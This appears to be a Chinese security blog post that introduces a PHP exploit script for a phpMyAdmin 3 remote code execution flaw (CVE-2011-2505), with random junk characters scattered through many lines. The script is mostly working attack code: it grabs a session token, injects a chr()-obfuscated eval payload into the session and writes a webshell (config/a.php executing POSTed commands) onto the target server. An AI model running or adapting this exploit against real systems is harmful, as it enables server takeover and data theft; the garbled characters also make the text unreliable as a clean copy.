最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
" C' S- h* j( K* ]1 r; @* b6 m; _3 [. [: ?; U
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。5 s6 X/ A3 w+ Z4 D7 G% }7 w ^
% j7 ?9 |; {' K0 @3 T首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:) S$ v' J$ E, f, \: O/ B' ]: L
一是session.auto_start = 1;
- B: U8 W$ D J+ G5 M二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
9 |" q+ c8 D+ G) g* Q当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。2 I/ F3 p3 g% G: D: |
7 y* D# ~6 E0 |4 S4 U在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
) X9 @7 }8 u+ L2 y2 c; v
: C; y, N. r+ Y0 }) Z4 K4 _5 m于是写了这个php版本的exp,代码如下:
! z: z9 I7 }7 i! k ]
! S6 f4 {1 D" I#!/usr/bin/php
6 F R' l9 l) b7 S<?php
( `: v; Q+ L, q5 D+ X$ Hprint_r('$ z2 T% B2 \7 w$ L) F
+---------------------------------------------------------------------------+
4 r) s3 h7 a, j3 p# B" f0 W! g' ppma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
% |; c" O- y- E) Z9 jby oldjun(www.oldjun.com)
# d K: l; }- [: [3 t9 c- _% gwelcome to www.t00ls.net# D. s+ R( G5 D
mail: oldjun@gmail.com) S0 Z }4 i5 N; M! T! f
Assigned CVE id: CVE-2011-2505$ K7 {2 R& F- t- n
+---------------------------------------------------------------------------+4 A# t. O! h9 h5 T; P( v4 s# z$ s& m
');
. e- d `% h. x, C& Z k7 H1 o9 b3 g$ E! m M
/**4 _. c$ r/ H! R
* working when the directory:"config" exists and is writeable.5 C9 f/ [% Z: ~" n# `3 G" n
**/; O/ B' S/ L3 ^+ X5 j* W: {
! T! ^! P7 W- v, vif ($argc < 3) {
+ I0 }" D4 @0 B print_r('9 V) \* V: T/ `0 w3 ^! F
+---------------------------------------------------------------------------+& C# r& Q: t5 f+ Y* u7 P( `) h9 V2 R$ d
Usage: php '.$argv[0].' host path
, f! e' y% c9 P: j. u; Y3 fhost: target server (ip/hostname)
& m! G' ]* X# A+ ?8 `) ~/ xpath: path to pma3
; w- ^. Y% I+ LExample:
8 X" \0 G+ o. gphp '.$argv[0].' localhost /pma/) @- n, c R3 ^& G! @6 y7 K) F
+---------------------------------------------------------------------------+
( {, u& G5 E4 o$ ]');
. _* @* k" F" o4 X5 u exit;
* x/ I3 H- ]% \6 R}. C0 Q& Q) |! s0 T: [2 w
" [" d" f. G+ o2 u4 l
$host = $argv[1];% c3 h* F* M$ l9 F1 _5 H
$path = $argv[2];. D0 g9 H! u& j# i0 A/ q
* I9 M* K5 z$ D+ u) E9 T8 V. }
/**
b" W6 W" d" i * Try to determine if the directory:"config" exists
1 H9 W: T" L- M1 H" Q* }**/
9 q" k% F+ u0 V* n" ?1 secho "[+] Try to determine if the directory:config exists....\n";* B2 d5 k: ?2 F/ t
$returnstr=php_request('config/');
, E7 w& Q( Z1 v# q" c Zif(strpos($returnstr,'404')){7 L* ~) v7 |9 H% e: P7 @0 A
exit("[-] Exploit Failed! The directory:config do not exists!\n");
% v5 w0 O y/ D2 e) e}
6 y: p R6 h; \/ M3 [0 E
! `7 u( t! b- t2 e" F; L/**$ Q1 g2 s. _0 f# S
* Try to get token and sessionid
/ @3 A8 Y; @# Z**/) w9 G/ J* P. `2 t. Y
echo "[+] Try to get token and sessionid....\n";
3 l4 b3 O1 d3 V" L. u: a4 y( b$result=php_request('index.php');! p0 m: r0 q/ K% ~# a( `
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);( f2 W3 D1 t, {" L( L# h
$token=$resp[3];) {9 M5 [$ l0 \7 u! \
$sessionid=$resp[1];' ]& Q8 B- Q% P2 ^% p6 v2 P8 T% M9 n
if($token && $sessionid){
# a) M" ~. X- ?4 O5 e; } echo "[+] token token\n";: u' _6 L, L( O7 z/ j) L6 u
echo "[+] Session ID sessionid\n";+ i1 {/ P; f( ^3 E3 S5 B# Y" M
}else{+ p" C' ^, G7 p( o# S
exit("[-] Can't get token and Session ID,Exploit Failed!\n");
. N5 P \) F( E6 \$ |. I' g; ]9 ~2 [}0 l# x. m# g; x9 z) h" O
/ E3 s- \- h( T/**
: k j2 w5 _( v$ z2 y * Try to insert shell into session9 ]* d2 t, R$ D3 G6 J
**/ v2 A" n& p* z- Q8 `: W
echo "[+] Try to insert shell into session....\n";
0 i+ M) b9 J! X, M3 Nphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
8 |. i* ]& y( d% l5 o5 \6 L# Y/ V9 o5 f$ n: S9 u# H% @
/**
1 V* D$ h/ ]8 C5 w7 Q: W * Try to create webshell! q* U% @* O/ P! P/ U2 k- C& _! O
**/
) I6 O2 j' R5 S9 t k1 necho "[+] Try to create webshell....\n";6 o9 M$ w" C( r( I, I: |
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
) u/ k! D# [: p& f/**
% w1 `" K! E7 [& [& [ * Try to check if the webshell was created successfully
: {6 h" w6 n; a0 L) ~1 H**/
/ x) m, y8 G6 f# N& Z3 u6 T9 P% s2 Qecho "[+] Try to check if the webshell was created successfully....\n";$ k$ u9 t+ ^3 C6 n6 v5 Z
$content=php_request('config/config.inc.php');1 s* O8 o2 s/ v0 Y0 o4 N, j) z9 g( N
if(strpos($content,'t00ls')){' d5 U% p# D# U. H* Q( V; s; h! G
echo "[+] Congratulations! Expoilt successfully....\n";
3 }' m9 Z) Y8 a6 c0 C1 r echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";( x! M E2 [" S5 {3 d" V' q7 G* T8 v
}else{
; t: ^8 _8 T% e( i- A2 Y9 u exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");. ~% n1 }6 N6 K' Z! U
}
6 W2 f: x t4 ^" v
* T2 \' Y* g4 M7 ], d9 ufunction php_request($url,$data='',$cookie=''){' T: D! i% | g' O
global $host, $path;9 _7 D% l. ]9 s6 Q
8 R: k8 ]2 E; f9 l8 L8 A* \
$method=$data?'POST':'GET';
8 S0 q0 V( H* S1 q! X( e7 U5 x2 Y
9 w, ?# n, `: E; J( S' z $packet = $method." ".$path.$url." HTTP/1.1\r\n";
i* e: S4 ^, e9 Q2 l" x) R $packet .= "Accept: */*\r\n";7 v7 g2 F; G. e' s e0 O+ t
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
- \4 y3 L6 g! k1 d $packet .= "Host: $host\r\n";
+ H( `2 k* C4 _, o/ @3 n P $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
* n4 H% M& Y: x- W# |& f( S ?3 G9 C $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
) t1 p" ^! q# g A# C $packet .= $cookie?"Cookie: $cookie\r\n":"";
$ A$ i" o! b* l' a* u+ V $packet .= "Connection: Close\r\n\r\n";
% B1 V9 a( V+ b4 O% ] $packet .= $data?$data:"";
; x" ~& A; A1 F3 }% B1 l
! e+ P* n4 A' ^; x% z( `3 r6 v $fp = fsockopen(gethostbyname($host), 80);
) T7 _6 H6 j$ D8 g9 R/ E m if (!$fp) {" c9 `5 \0 u- l; Q
echo 'No response from '.$host; die;
+ c, \+ P. G( d) t4 F7 q% C6 K2 @ }4 }; F* b. ~1 E# J9 `, [& X
fputs($fp, $packet); k! H& K0 u+ L4 _* B% k
! E9 l& X/ u7 T- f, V $resp = '';4 O3 U3 E: E! Q
+ h; c2 \/ A- q) K
while ($fp && !feof($fp))
) r& {0 e& H" p7 Q; E r7 g1 f $resp .= fread($fp, 1024);
8 `5 C# M) w9 d( A+ P
. j1 F2 E5 M3 D( r- v( g return $resp;
- w- r. s$ ~- G( Z}* r8 [, B7 B& k8 b/ p* e) i0 ^
* g1 A" r8 h3 Z# |
?>
# `) j! |- t. J8 c. |